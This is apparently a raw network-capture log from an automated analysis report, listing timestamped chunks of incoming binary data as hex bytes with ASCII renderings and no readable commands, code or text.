2021-12-28 17:13:33 UTC	2407	IN	Data Raw: a9 60 d9 d1 89 17 d3 6a 17 ea 21 1f 72 35 b1 17 b9 d2 86 93 44 86 70 49 4b c5 98 55 7a 34 58 0d 7e 33 5c c6 06 a5 6b e0 f0 61 35 3a 83 7f 36 c9 b4 b7 c0 b6 e2 a6 01 e7 cd f0 80 cf b7 b1 af d1 24 02 68 b1 38 ea d9 45 42 95 cc 38 ff 7f 50 1f e6 7d 79 6b 0d eb c9 8e 45 a5 94 40 0b 5a d6 15 89 a6 09 8c 2d dc b2 86 52 11 75 c0 0a 8b d1 e8 a0 f1 44 e3 f7 88 73 d1 48 c9 0b a7 b0 1b c7 74 aa fc 90 eb d9 f5 27 19 3d ce 9a 69 06 f3 db f8 c0 fd 74 1e d9 6f e4 b1 f4 34 ad 26 da 03 f3 51 61 a7 f8 48 e5 0c 72 1f a0 e2 d6 15 df f9 a6 36 e7 b2 e9 13 ea 30 dd 8c 24 5d c7 5c b7 85 05 4e a9 22 b3 73 54 80 30 63 1a b8 1b 17 11 19 e9 19 67 e4 06 78 3b 4f b9 4a 49 2b a5 d2 c3 e2 ee 7f 31 55 b7 65 90 f4 72 fd 79 c4 f1 21 b4 97 7e fb 2b 0d 9c f7 4f 66 9a 8f 8c b7 83 7e 32 c9 c5 Data Ascii: `j!r5DpIKUz4X~3\ka5:6$h8EB8P}ykE@Z-RuDsHt'=ito4&QaHr60$]\N"sT0cgx;OJI+1Uery!~+Of~2
2021-12-28 17:13:33 UTC	2423	IN	Data Raw: 76 8e a1 53 d6 1a e1 46 d3 44 77 97 f8 44 25 4a 3e e5 6f 39 a7 25 26 40 9e 30 f7 57 47 ff 2e c8 f0 ac f6 22 ff 88 a5 5b fb 0d 79 87 c1 79 cf ac de eb 3e 5d 8a 6e ce 1b fe 08 02 d3 e8 63 97 79 8d 7e e8 f0 f7 30 e1 37 84 e9 91 de 70 21 58 25 f0 a7 22 e7 eb 17 59 4e 9a d9 9d 02 3d c0 0a 7d 83 15 88 88 47 ee ce 6a 73 d5 e1 93 ee d3 66 ac 8e fe 86 9b 2b 45 e4 9e fe 77 54 ec 49 3a 34 d8 36 85 f8 83 39 94 e3 2f 45 1e 27 2f 14 f3 87 5e b9 ba de 52 36 9f c1 73 c1 62 9d 70 82 86 55 42 38 d0 dc 3c f5 e1 fb b6 fe 3f b7 33 fb f4 48 8d 82 a0 9c 18 d4 1d 43 ad 51 47 d7 8a 4d 96 0a 32 9f 68 ce c1 7b f8 ff 8c 55 24 d0 55 83 36 aa 68 42 b5 51 a2 d2 ea 19 de 85 c8 ab eb 89 76 a9 0e 97 e7 bb d9 93 e9 b4 85 7b 71 a8 28 5a 84 a4 5d c5 ce 74 30 b4 b1 d8 2b 6c 70 85 54 64 df 77 Data Ascii: vSFDwD%J>o9%&@0WG."[yy>]ncy~07p!X%"YN=}Gjsf+EwTI:469/E'/^R6sbpUB8<?3HCQGM2h{U$U6hBQv{q(Z]t0+lpTdw
2021-12-28 17:13:33 UTC	2439	IN	Data Raw: 29 a1 31 f8 0e 05 ab 76 1b 19 57 da 80 42 60 15 d6 de 52 df 09 d0 e2 59 bd 11 1a a7 f1 a1 73 f9 08 e1 64 d4 d4 f2 39 d6 9c c9 45 27 44 4a 1a ce cd 3b ae f6 81 78 c3 bc 3c 28 21 ee 9a a6 fd 57 4e 8a 70 9b 63 9c a7 4f 64 90 9a f2 23 ed 76 40 b9 c7 43 3f 1c 3a 0a 3c 12 d0 8d 18 34 65 89 26 a2 a3 c1 4a 24 52 64 91 4d 19 f6 01 20 f9 c1 00 c3 b5 1b 38 ee f8 a8 da c5 95 b6 0a 7a 11 c5 20 4b f1 8e c4 0d 53 8a 39 45 e0 16 7c cb 63 f9 ea e6 55 ec da 92 1f 1e 41 25 66 10 a8 65 3f 30 ba bb 85 b0 70 31 c3 ec e6 b6 4c 6f 89 d9 d8 16 72 f0 ec af c9 a3 fe 42 9f 56 eb c7 7e 5a ed 19 83 93 55 b4 e9 67 66 07 17 a4 f3 8e be d3 a1 58 f8 36 cc 42 66 7b 40 bf 6c ca 73 56 55 3c fe c7 97 07 7d a2 03 9f 17 1e d6 a8 a3 e6 0d e4 28 a2 f5 5e 3e b3 59 bb 2f 6a f9 6d 46 7b 07 9e 4a 18 Data Ascii: )1vWB`RYsd9E'DJ;x<(!WNpcOd#v@C?:<4e&J$RdM 8z KS9E\|cUA%fe?0p1LorBV~ZUgfX6Bf{@lsVU<}(^>Y/jmF{J
2021-12-28 17:13:33 UTC	2455	IN	Data Raw: db b8 ed 91 b9 04 d7 64 dd 29 3b 34 15 ba 15 6f aa 09 fc 2b e1 a5 d8 32 72 8c cc 4b 56 e9 d7 ca 77 55 14 80 9e eb 71 10 f9 58 b6 76 59 de ab ad de bc 8e 7c 6f 0e 73 c3 63 5e dd f5 d2 18 92 c0 68 35 62 1b af 8b fb df f3 ab 2c 7c ae 35 c1 bb 82 e1 42 f2 fa af 20 6b af bd 89 09 21 1d 21 6f 71 89 62 9e 64 7b 3c ff ae 66 48 cf 9a 45 45 8c ff 05 2f cd 3d d1 35 9b a4 e5 6e 9d 34 29 2c 69 5f 75 7d 53 8b d5 d9 e7 46 2a 99 b8 45 97 1a b2 e6 2d 15 2d 5b 1b 87 59 bf a5 6d 73 bf b2 32 bd 42 67 b9 f2 0c bc 60 d9 18 8d cb 28 7e 69 83 3c 18 7b 7e d1 85 d6 99 0c 43 5e 0d 71 1d 65 3d 02 45 70 f2 cd f2 5d fc 1b 44 d4 3f a0 f8 0b 6f c0 7c 45 8b e4 ed f6 de 0c 6f f1 fa a7 f9 a5 35 7f a1 f7 6e 27 09 14 0b dd ab 15 7d 87 dc 95 88 c1 1b b7 f3 86 62 8b db 08 7c 11 de 23 ab dc 92 Data Ascii: d);4o+2rKVwUqXvY\|osc^h5b,\|5B k!!oqbd{<fHEE/=5n4),i_u}SF*E--[Yms2Bg`(~i<{~C^qe=Ep]D?o\|Eo5n'}b\|#
2021-12-28 17:13:33 UTC	2471	IN	Data Raw: d5 60 3f 8a f8 bf b1 7b b4 f7 71 c9 97 9d b9 0f e6 8d fd 17 29 62 ac 6e 2c 95 7d 25 e6 64 b4 1c 92 25 76 2a 18 5e 4d ec 71 61 e6 96 5a 51 f8 fd 46 65 e3 61 01 62 94 47 80 7c 14 85 9e 50 cf a8 10 81 3a 07 f7 ac 52 2f 69 00 01 7e af 12 4d 3c 91 de df af 58 d7 42 63 89 d9 de ab 14 77 c4 f3 bb 57 b6 42 08 42 d1 3d 3b 60 89 35 69 a9 1c c6 48 3e 32 44 67 e9 d1 dc 0a 34 7e dd b2 1b f8 fa b8 de 8c fc 04 9c 2a c0 92 f3 9d c1 df d3 e6 60 d4 2f d7 1a 53 61 4d b4 68 cc 04 8c 09 38 f9 8e 42 ac 9f 93 d9 05 91 35 d7 ac 9b 7d 7e 52 83 02 b2 8b bc 00 2c e1 21 fd 7f be 4e fd 1b 2b 5a 32 c0 d9 c1 a3 ac 35 3c fe 3b 6c 8d 57 3b 91 65 09 82 5e 53 cd 53 27 1d 96 68 2c fc eb f9 9d 05 95 62 55 2b a5 7a e7 56 3b c2 c0 d5 f2 8e c4 77 82 5f 67 59 91 2e f9 a7 62 4d 64 8a 9f 03 c9 2e Data Ascii: `?{q)bn,}%d%v^MqaZQFeabG\|P:R/i~M<XBcwWBB=;`5iH>2Dg4~`/SaMh8B5}~R,!N+Z25<;lW;e^SS'h,bU+zV;w_gY.bMd.
2021-12-28 17:13:33 UTC	2487	IN	Data Raw: 19 f4 c7 37 2c 07 fe 43 01 d7 44 96 91 af 31 ff 10 28 ad 14 af 80 67 e9 f9 5b 3c 43 56 83 d3 5c 52 17 31 ae 23 81 bb 8f 02 74 f5 71 f0 16 86 b0 a7 4a a8 e5 e9 b5 db f3 42 f1 55 e9 8b 16 90 88 9e fb 4d e8 79 bc ee 9f 57 46 4e 1e ca 25 0a d7 63 92 0a 16 02 09 4c 3b b4 02 39 21 28 52 2c 58 71 db 29 62 3a 2e f3 01 79 30 b0 d0 67 92 35 a6 39 c4 82 e2 57 37 3b 9b 41 26 32 e0 af 23 73 c9 31 02 ff b8 ce b7 b2 40 62 33 4d 29 1b ff 6a bc 7a 6d ef 6d 92 8f 2b e1 42 a3 a1 2c 1a 2e 23 14 d3 b5 f3 ef b3 de 58 23 d8 12 80 a7 f7 c3 92 ab d4 72 71 fb 51 1f 09 4e 9b e5 bf 77 1d cb 33 f8 b4 1e 33 e4 99 aa 18 2d ce 23 a4 c8 64 dc 71 75 5f 3e 8e 2b fc 23 67 11 c1 38 47 97 12 b3 28 1d 62 03 8d bf d6 f0 9e 57 b0 d1 a8 74 f4 57 37 57 eb 26 d0 af 1d f5 c9 de 17 55 82 9e 4d cf 0d Data Ascii: 7,CD1(g[<CV\R1#tqJBUMyWFN%cL;9!(R,Xq)b:.y0g59W7;A&2#s1@b3M)jzmm+B,.#X#rqQNw33-#dqu_>+#g8G(bWtW7W&UM
2021-12-28 17:13:33 UTC	2503	IN	Data Raw: e4 7f 9a 3e 1e fe 7f aa ba 7f 60 27 c0 d9 fb ec 6e e3 58 2f e0 2e 08 0f 04 21 ce d8 22 e3 40 da d2 8b 68 d0 df 4f f4 0c 35 01 57 4f ea dc ab 40 7b b1 0a d0 a8 94 39 aa 64 a4 89 2c 7a 78 6e 20 ae fb 47 9a 6c f7 92 30 9f b9 9e 00 cf 25 23 7e b4 f5 08 24 e1 6f 4d d8 31 51 cf a8 82 64 d0 cd e5 2b 66 f0 20 ef b0 08 87 2e da 98 0c 9e 0b 26 21 4f db b7 6e ec 69 26 fa ee 49 25 f2 5b 41 09 0b 75 03 da a9 88 23 1f 70 4e 8c ec b1 85 ef d0 66 9f a4 10 4b ab 13 c9 17 d9 5d a2 b0 c1 ea f0 01 57 3e 56 32 9d 1b 0e f9 23 53 d5 36 91 df a3 09 3b 1c 16 f8 95 16 6f 3d 59 8c c4 e3 a6 d9 85 e1 79 1a a1 37 51 1e fb 64 e2 93 45 05 0f 77 17 fd cb 6d f3 7f 29 d7 2e 0e f2 84 97 e9 d6 5f da 38 87 54 0e 09 3b 1e 6c 29 4b 47 5d 88 e4 6a 9f bb ca 1d 24 f5 55 1f 42 f6 6b f6 f9 2e 82 d0 Data Ascii: >`'nX/.!"@hO5WO@{9d,zxn Gl0%#~$oM1Qd+f .&!Oni&I%[Au#pNfK]W>V2#S6;o=Yy7QdEwm)._8T;l)KG]j$UBk.
2021-12-28 17:13:33 UTC	2519	IN	Data Raw: 03 b8 65 01 c0 cf 51 c4 f7 78 86 0f 8d c0 b2 cf 51 98 33 f2 88 0c 35 4d e7 06 d0 c5 25 31 a8 71 c8 d6 21 8e 97 e5 51 fc 72 8d bf 19 31 bc b1 3a c3 85 68 f1 ef df 3f a8 01 48 45 22 f0 1a e0 7c 13 2e 5d cb 6c 72 bb be c7 82 2c 6c c6 e3 b4 fd 7a b1 a0 92 12 53 5a 96 d7 67 a1 0e 7d 3c d0 0d f5 49 85 5a fe 53 e5 b3 74 e4 fb d9 03 8d 31 19 e5 fa f0 98 cc 5d a8 9c 63 48 2d f6 25 cc d5 0c ab a7 02 dc 4c 57 5d 01 6e d9 9d 25 3f a8 0f 8a a6 b8 fd 62 19 44 90 da 23 79 cc 57 22 5a 89 3e ff 82 a5 9c 13 e9 d6 70 cf dd 07 5b 35 49 f3 5a 46 3f 8e 35 b8 10 98 71 cc 1e be 59 f5 d0 9a bd 63 85 dd 39 8f 0c 0b e3 2f 88 f6 d3 0c 8a 63 a4 ee f4 1c 9a df 89 92 06 11 d4 bb ac 3a c2 c3 de 7a 46 42 1b dc c8 01 de 19 e1 ef 2c a3 8b 22 d6 07 cb dd de 16 a2 41 40 a7 ca 7d 6c 2f 33 26 Data Ascii: eQxQ35M%1q!Qr1:h?HE"\|.]lr,lzSZg}<IZSt1]cH-%LW]n%?bD#yW"Z>p[5IZF?5qYc9/c:zFB,"A@}l/3&
2021-12-28 17:13:33 UTC	2535	IN	Data Raw: d9 a3 fa 1f 24 09 63 38 ca 49 be 82 47 c0 5f d5 16 65 5f 2b 31 4d 55 56 cb 31 7d 47 e4 75 98 73 be 69 26 ab 74 9f da c8 8e 08 48 65 4b 38 b1 26 53 96 20 db 45 a3 39 9d 40 1d e3 df 1d 5d 4e 5c e7 b3 dc d6 9a 06 2f 4e ac 37 df f8 3d 5e 9f 9e 9a 1c a6 ad 3d 67 90 7d fe e2 b9 0b af 03 b0 5f a1 1e 2e e7 da d9 f9 fb 66 01 53 4d f0 36 64 a7 26 03 ae b7 0d 1d b1 3e 6f 50 72 6e 2f 28 8c 4d 63 f1 cc 1c 8a 9e 77 13 02 be 50 ac 26 a8 05 2f d5 3d ba ad e7 79 b2 21 71 13 13 32 97 2a 9e 7b 8c 43 bb db 8e 07 cb 24 35 86 d5 6b d6 cc b8 fc 02 22 ec 62 d3 10 74 14 46 33 3d b9 38 d7 ae bd 35 b1 81 08 66 5f ef 92 cc 2d e0 cf 5c e2 07 a9 9d e7 c8 54 e2 4a 76 11 6f e8 27 84 29 6a 02 b0 3e 0f c4 5e 2e 1b 63 22 ba 43 36 a9 bd 85 e8 2b c8 3f 45 5e b7 36 a1 31 59 92 c5 f3 0b 46 7c Data Ascii: $c8IG_e_+1MUV1}Gusi&tHeK8&S E9@]N\/N7=^=g}_.fSM6d&>oPrn/(McwP&/=y!q2*{C$5k"btF3=85f_-\TJvo')j>^.c"C6+?E^61YF\|
2021-12-28 17:13:33 UTC	2551	IN	Data Raw: 12 2b 31 46 72 a2 c5 fa 5b a5 dc 94 b8 b6 db c4 7f 81 eb c5 13 de 4d cc 2a 9b 74 c2 eb d5 5e a5 b5 db 31 ae db 9c 28 04 37 44 91 4c 5d 57 5f d1 68 81 85 d3 c4 f0 64 f2 83 1f 52 17 60 5f e0 fb ae f7 2d c8 ea 4a f6 79 a1 b4 6d 02 b7 a7 d6 73 f9 fe f6 0c 5f 36 80 19 c9 94 0a 87 a0 0f d4 93 37 8d e5 00 d6 4a d6 56 f2 cd 75 fa e1 d1 d0 7a 59 e2 34 94 ca 66 8b f5 ff 21 c9 54 d4 d4 1e 78 7b c9 95 62 91 76 66 bc 1f 07 9c 53 23 8b dd 80 38 e9 1e 14 1e 94 b6 ca bd b5 a1 6d d0 3a 99 f7 22 c5 67 a2 82 7d 47 4d 92 af 03 f1 48 e6 65 e4 76 e6 1a 2a d7 3a 24 87 3a 00 c1 3d fa 60 ea a0 fe be ae ca 5b 32 7b e3 26 37 b0 51 af e3 0d 0b 6a bc 93 18 e0 b0 8d c5 75 ec bc 74 f0 56 a1 ff b5 e1 fc 96 d9 b5 1a 30 e9 cb b2 58 18 d5 eb 22 5f 27 c8 7f 0e 05 95 c9 6e fc 98 0f 24 e0 c9 Data Ascii: +1Fr[Mt^1(7DL]W_hdR`_-Jyms_67JVuzY4f!Tx{bvfS#8m:"g}GMHev:$:=`[2{&7QjutV0X"_'n$
2021-12-28 17:13:33 UTC	2567	IN	Data Raw: b7 35 2f 68 c6 8e e9 b8 1d 1e a5 32 40 01 09 4c 94 7e 4f fe c5 ad 6c 34 bc ed 70 59 20 08 2e 4a 94 f7 74 d7 5e 95 d2 84 fc 46 47 34 27 69 31 ec de ec 20 85 66 ec f6 95 36 1c d8 89 57 0a 3a f8 06 31 de 8d 51 4a 42 d1 61 cf 8b 0a 27 dd 35 d6 82 5d 27 3e 91 87 c4 6f ce 36 40 09 b8 39 7b d2 39 49 70 d0 5c 15 b2 3a 53 4d 5a 4d 15 25 3b 5c 79 e8 af a5 f2 cc 40 b0 74 03 97 63 14 06 5f 38 d0 79 ff b4 c3 a0 36 a8 55 97 78 71 d6 c0 05 f3 54 42 dc 4c 58 e4 60 3d dc 23 6a 55 19 f6 99 fa 05 76 27 67 11 17 f7 63 50 de 3e 9a 2b fe 1c 93 27 d3 9d 57 bb a9 a8 a7 7f 85 4b a0 08 1f 00 af 9e fa bf 2d 66 74 b0 62 28 3e 19 9f 55 67 bf 8a 3c 96 0d e6 4f cf 54 e4 de d5 b0 53 d6 67 e9 4e 22 68 04 c0 05 cd 08 69 e9 f2 31 8b 45 a1 f7 a4 6e e0 9e ed ff 23 19 71 61 9b c7 9d ec 8e df Data Ascii: 5/h2@L~Ol4pY .Jt^FG4'i1 f6W:1QJBa'5]'>o6@9{9Ip\:SMZM%;\y@tc_8y6UxqTBLX`=#jUv'gcP>+'WK-ftb(>Ug<OTSgN"hi1En#qa
2021-12-28 17:13:33 UTC	2579	IN	Data Raw: c2 b5 0c e3 ba 39 47 5c 1d 9a 70 0f 7c ab be 9e 9f 23 e7 96 b8 81 c9 5b 61 68 ae 4e 31 ec 3a 28 2e 10 41 12 37 94 3d c9 5a 80 a2 34 ab 92 e3 e9 be 30 c5 52 0f 6d 15 b6 d6 dc 29 b4 4e 8a 33 7d 49 36 fe da a4 c6 47 fa 63 f7 13 4a 75 08 9f 96 a5 a9 23 0c 9e 8c 4f d2 5c 77 6c c3 4e fd 91 36 f7 5e 48 3a d0 a6 12 e6 6b 27 4e 7d e5 af a8 2d a5 7c 90 93 1a 4e 77 e8 38 f5 e8 88 59 fb a9 3f be a3 38 54 0f 55 17 71 67 fa be 6a 74 c6 ec 2c 8f 54 d9 57 be 82 8d 88 d8 f3 4b f2 27 8f 50 50 e3 dc e1 a3 43 06 cb 32 5f 6f e0 76 65 fb 56 e6 e7 55 3e e1 be dc d5 2f 38 28 c8 d4 09 c6 ce 02 63 d0 8d 54 b9 dc 15 22 0c fd 08 63 88 49 c8 a8 96 03 49 2f 22 e3 8b 1e fd ce 21 ff 4d 6c ae 68 06 92 43 f7 1c fb a3 30 fd bf 81 08 3c a8 1a 2b 8f 44 88 15 09 c5 bc 1e 95 f7 f5 ac 6b 64 6c Data Ascii: 9G\p\|#[ahN1:(.A7=Z40Rm)N3}I6GcJu#O\wlN6^H:k'N}-\|Nw8Y?8TUqgjt,TWK'PPC2_oveVU>/8(cT"cII/"!MlhC0<+Dkdl
2021-12-28 17:13:33 UTC	2595	IN	Data Raw: 77 1f 53 d8 79 fc c4 e6 84 11 0e f7 36 4b 37 97 6b 1e 41 2f ad 0a 71 a4 12 b4 ca ba 15 b1 b0 48 c1 f5 bf d8 e8 f1 63 28 52 f8 ea 85 04 34 40 67 85 ac 6f 25 c3 2f f5 5f 07 fe ac 83 b6 0f 6e d9 0e 2b 36 8f e2 0a 58 c5 b3 91 d7 cc be 66 1d 3d c1 56 e1 7e 0b 7c 65 30 0f 32 d3 c4 e4 4a 21 ec e5 9a f1 44 c4 bd 49 4c 3b ae 61 05 2d 51 1a e4 4b 94 0e 23 76 49 33 91 59 2a 2d 2c dd 47 5e f2 6d 0a 0f d5 80 8a e2 cf 51 00 44 63 22 a3 0d 89 1c 8e 92 f8 f2 36 b8 43 2e 51 1b c0 bb 7d 4c 79 df eb 71 6e 5f b6 d4 44 fa ab d6 3f 0c ac 2c 9a 2e 17 01 9b 28 2c 36 ed 4e 32 0e 1d d6 0a 77 00 7d 85 e8 d0 de 97 d4 df 60 6e ae eb a9 ed f6 d9 94 8b a6 0a 67 a1 f3 86 6c c0 f1 ed 58 81 42 ab d2 79 7c d4 a5 84 9a 30 57 a5 86 c8 bb 47 f6 72 e7 e8 60 eb e1 01 e9 70 01 dd c3 4c 98 86 0b Data Ascii: wSy6K7kA/qHc(R4@go%/_n+6Xf=V~\|e02J!DIL;a-QK#vI3Y*-,G^mQDc"6C.Q}Lyqn_D?,.(,6N2w}`nglXBy\|0WGr`pL
2021-12-28 17:13:33 UTC	2611	IN	Data Raw: 31 85 df 0f d2 4f 83 70 94 e8 cc b9 f7 41 e0 0d ce 91 bb a9 29 a3 39 ec 51 79 0e 92 b3 18 17 b8 4e 69 e3 db 33 86 bd 04 48 e3 c2 6f 20 ad 58 42 ee 14 7c 90 82 2e 0c 3a 0b c8 b4 ca f6 d2 67 a0 01 bb 34 b9 e3 77 9b 85 fc db fe 73 b0 4e 36 0d 9b d9 1d c1 36 8e 26 1d 79 aa ca ca 5b 8f f5 ad 50 25 0b 60 de 91 85 58 f9 2b c4 33 6d ad a5 c6 84 33 21 10 42 21 df c7 cc 19 b5 4e e6 fe 01 28 45 53 6b 77 1d 83 96 bb bb 54 d2 6b 8a e1 42 78 26 af d3 9d 0b f5 b1 ae 19 99 86 9a 7f 60 05 80 31 78 fd 99 a6 78 86 bc 04 7e 83 61 9e 03 1a f1 2f 18 b8 c7 37 ea 49 c6 e9 37 e1 bb d8 1f 6b b8 41 67 45 b6 b6 8f 3e 44 89 06 1a 3b 69 20 89 7a bd 24 b8 44 cd 35 b1 49 ce b8 ed a7 fa ee 56 77 39 f6 c1 3f 79 df 28 eb dd 39 26 64 95 9b 42 d7 cc 2d cd 1e b9 8b 79 67 2c d4 50 e5 e3 93 ad Data Ascii: 1OpA)9QyNi3Ho XB\|.:g4wsN66&y[P%`X+3m3!B!N(ESkwTkBx&`1xx~a/7I7kAgE>D;i z$D5IVw9?y(9&dB-yg,P
2021-12-28 17:13:33 UTC	2627	IN	Data Raw: 7b 34 5d 94 c3 9b 70 29 2e 72 ff ee 3a c0 93 d6 26 82 66 34 28 40 0d 74 57 36 25 5e c1 f0 4f e3 c6 5c 85 69 a2 f9 47 67 70 36 b9 43 33 fc 8f 1e 3e 24 c0 7e 7c 7d ea d9 e6 be 74 70 fe 2b e8 e7 4d cd 44 30 0c e6 3d f7 89 9f 42 e1 20 22 a4 c0 3a df 9c f0 78 b5 6a 8d bc c9 ba 1b 1f a3 7c 2f 62 74 42 db dd c2 79 cf fe ba 2b 0d 94 6f 58 b7 3d 74 48 2c ee 93 ff 55 a3 88 05 6e 7d 81 71 f6 f2 3a 12 f8 cd 3e 29 1a 33 5e 8c c8 4c fe 96 11 35 d3 c2 b2 a0 95 17 d5 5d 87 62 88 ca a1 d1 f3 5a 19 fe 06 58 9b 49 e4 a0 e3 39 f6 04 df 80 e8 a6 36 12 28 24 f8 ca bf 61 c2 ca 38 9b 40 bf 52 49 ec 21 ae 34 82 d3 d6 76 0e 96 02 b9 61 61 9c 63 3a 6e e3 f6 ea de cb 08 08 89 7e 9c 72 52 d3 fc 17 b1 b1 a3 41 37 d6 78 10 d1 ec a7 63 99 ed e2 84 ae 7d 65 2c 18 32 24 dc a4 69 57 78 ee Data Ascii: {4]p).r:&f4(@tW6%^O\iGgp6C3>$~\|}tp+MD0=B ":xj\|/btBy+oX=tH,Un}q:>)3^L5]bZXI96($a8@RI!4vaac:n~rRA7xc}e,2$iWx
2021-12-28 17:13:33 UTC	2643	IN	Data Raw: d9 ab b6 33 dc a3 26 2f c9 36 bc 88 a0 0b c8 67 d3 b9 33 21 f9 19 96 d1 ea d8 64 b6 b7 f9 e6 fd ae 95 84 a4 31 f5 00 62 ac eb ed ec 8e c6 ee ce d0 38 d8 61 90 3c fd 60 be b7 f1 3f e7 06 b5 88 b9 19 9d 04 12 0c ee 35 2e 71 17 cc 9e 4d 21 b1 8d 31 ba 0d 7f a2 ab 28 9e 23 9e cd 28 0f 15 51 01 7a 73 b5 a5 61 87 21 e3 1a e6 83 de da 23 41 02 f7 ee 80 b9 e1 58 1a 39 ea ca 88 78 60 95 15 88 25 ef 7d 25 85 f0 0d 03 12 5c a7 04 90 61 f3 d5 de 3d d4 27 84 eb 7d da f7 c6 8a ef 80 77 fd 8f 8a 21 4e 92 bb 44 bf 29 d2 17 eb 84 f0 32 e3 05 de a1 ef b9 35 67 ca 81 88 6c 5c 52 90 4f 7f f8 e2 e5 ac c9 99 c3 f8 85 cc 3d 08 9a 62 a2 7b 3f 48 b0 28 83 f5 c8 b3 35 c4 c9 83 39 76 1c 29 03 7a 8b 6e 17 e7 67 91 5e 4c 9f 03 ee 7b 5e 4c 4d 76 97 af f1 b2 71 c7 30 42 7a 7c f6 df a5 Data Ascii: 3&/6g3!d1b8a<`?5.qM!1(#(Qzsa!#AX9x`%}%\a='}w!ND)25gl\RO=b{?H(59v)zng^L{^LMvq0Bz\|
2021-12-28 17:13:33 UTC	2659	IN	Data Raw: 5b 9a 6e 41 8b eb c6 a9 ea 00 87 a0 61 42 ba aa 33 70 d3 36 3c 3e 44 24 9b 0e f5 fb 68 e0 1e 92 90 f6 d9 3e e5 03 26 9f b2 d8 92 21 48 99 f4 1c 09 92 f5 74 92 fe 92 ff 6e 2b 6b c1 99 2c dd 72 d5 d4 c1 8e 1c 0b e4 8d 57 6d 85 02 fd 46 52 b1 f4 48 af fe d7 2c 87 01 ac c5 4c b1 4f 99 4f 92 cc e5 55 10 56 12 86 59 97 a2 1c 42 82 b6 ed af 9d ec fc 05 da 7d aa 92 40 de 54 c3 38 69 af 65 2c eb ff 23 b1 a6 76 e9 24 1a 7d 45 ac 76 11 46 1d 44 04 4d c3 11 32 3b d5 79 1a 46 1e 81 85 3b 2b 7e 1b 29 0f 26 24 a4 10 d3 22 33 9b 51 0b 94 54 8f fb ba f6 4b c5 8a c8 96 38 db 76 be b8 be 2a ad 28 6a 50 f6 85 49 b0 74 10 53 5d 4d 4e bf d8 a3 ed a9 59 61 90 99 79 39 90 78 57 f7 28 99 52 35 ac ff df c2 58 80 8a e2 b4 c5 dd 52 b9 69 a4 69 8f 6c 6c 53 74 bc 93 57 d8 46 ce fc eb Data Ascii: [nAaB3p6<>D$h>&!Htn+k,rWmFRH,LOOUVYB}@T8ie,#v$}EvFDM2;yF;+~)&$"3QTK8v*(jPItS]MNYay9xW(R5XRiillStWF
2021-12-28 17:13:33 UTC	2675	IN	Data Raw: 02 ad 36 7e 6f a3 8b a8 82 3e a4 8e f2 e2 e8 91 a9 32 85 1e 7f b0 0e be 80 02 96 87 fa b8 b9 9b 62 2e a9 e1 f5 88 ca b1 0b 24 89 b5 de 42 f0 7e 28 74 82 06 54 78 f2 07 e7 27 68 92 07 5c 0b 4c f9 c6 53 0b 0e 5a ad 9a 47 fc 31 eb 72 fb f0 17 91 45 49 86 01 de 6e 25 9c b8 b3 67 b2 b7 47 9a c7 fa 7c 5f ee 3a f9 cb de c6 6d c0 25 99 ea 5e de 15 5e 11 c4 bd 8f 53 f4 f1 36 6f dd d3 51 a9 db 64 77 cc 96 ac 70 55 2c 64 4d 0a 86 e2 fc ca 46 fe 73 81 dc 4a 03 f8 38 61 23 2a 56 01 89 be 8b 94 41 e2 cd f4 6f 96 4f 15 65 aa 73 4b d2 15 5b 53 5d 3b e2 5a ac 0d a5 07 f6 07 c3 11 ce 82 b3 82 e1 86 3a b6 30 e1 8a 94 14 c6 49 9d 02 dc 99 43 f4 3e 4b 00 ba 0b 46 82 ae ed a5 2b 18 8d 48 f0 74 f4 4b 60 21 00 43 df 4f 38 0f 74 3b 58 bb 9a f0 b2 dd 79 e1 ff 4d 14 38 32 f1 64 72 Data Ascii: 6~o>2b.$B~(tTx'h\LSZG1rEIn%gG\|_:m%^^S6oQdwpU,dMFsJ8a#*VAoOesK[S];Z:0IC>KF+HtK`!CO8t;XyM82dr
2021-12-28 17:13:33 UTC	2691	IN	Data Raw: 08 b7 9f e3 c6 b6 cb a3 ad 08 b5 89 af fe 33 18 71 83 d1 79 85 61 02 07 b5 0a cf 0b 70 93 38 0b 00 6b 54 45 1c 54 cb 79 13 04 50 7c cf e4 1f cb cc 3c 24 fc 88 72 01 88 f8 0b e2 aa b9 4a 06 b1 52 7a be 0f b8 b9 c8 4d b2 35 15 0e e4 c3 8a 8f 22 f6 c6 f4 ff ca fe 38 3d 85 70 89 be ba 45 55 78 ae ff e8 b4 5f 59 9c 71 f3 36 79 c0 7b 58 65 7b 4e 1e 16 e7 f4 5e d4 a0 5f fe 7f 2e c0 48 43 d6 f3 c4 b7 b5 2c 17 f5 8f 1c 7e 83 8e d0 01 dc 9e e7 86 5d af 26 bf 35 c5 73 e4 9f ae 57 b5 2e 1b e5 90 62 fb e7 8f 05 b7 83 28 b8 74 fd 3d 37 7c e1 a2 eb 4e 89 68 90 77 9c 2d 25 ee 87 36 8d aa c9 9b 58 fd cb ac d8 65 b7 c9 05 58 24 5d 18 44 3f 5d ae b8 1c 03 88 2f fa d7 04 a9 e3 a8 1b fe 8c 3f c0 79 1c f5 43 63 bb e2 f4 d0 99 37 57 2d 70 ac a3 e1 30 33 64 a0 3f 74 44 a8 08 76 Data Ascii: 3qyap8kTETyP\|<$rJRzM5"8=pEUx_Yq6y{Xe{N^_.HC,~]&5sW.b(t=7\|Nhw-%6XeX$]D?]/?yCc7W-p03d?tDv
2021-12-28 17:13:33 UTC	2707	IN	Data Raw: 1d 35 7a 51 9e d4 f8 70 e0 06 89 e7 21 aa 36 15 9e e7 96 b6 00 85 c2 bc 8f 09 13 f7 5d 29 cc c6 ab 63 c6 95 e9 cb 34 1f 88 e6 00 81 d5 c2 45 5e 32 5a 9b c8 95 79 f8 61 c2 8b 82 c7 c1 09 86 ba 60 fc e2 d5 e5 9e 72 cc 6b 9a c2 2f 1e 0c 67 aa 33 86 90 30 6b df e3 bb 3d e7 bc 68 4f 6f 77 ef 74 f9 94 86 9e af 17 4e 77 12 a8 5a 45 e0 71 f2 f1 c1 c2 b1 7e 6e 1b 5e f2 19 97 f3 b6 d1 f5 d5 6a 4c a2 e7 88 95 a5 ad ec ed 46 fa 37 84 15 55 56 9c 77 fc f2 e3 02 67 ec d0 1f bd 58 2d ff 82 cd 1c 23 24 a7 53 3a b1 06 5d 13 d1 03 30 00 da 28 1f 0d 1f 5e 85 0c f7 37 0e 8b 1f c6 33 4a 0e a8 c1 6a 4d c2 a6 31 47 d8 1e fc 73 fb 97 ac f6 ec 35 60 94 83 aa 61 a6 36 10 92 d2 80 00 e7 a1 19 91 0d 06 fb 61 2e 81 91 c3 99 8a 54 fa fc ae 29 d6 57 50 6b f0 fa c6 2f 27 ea 6a 89 ff 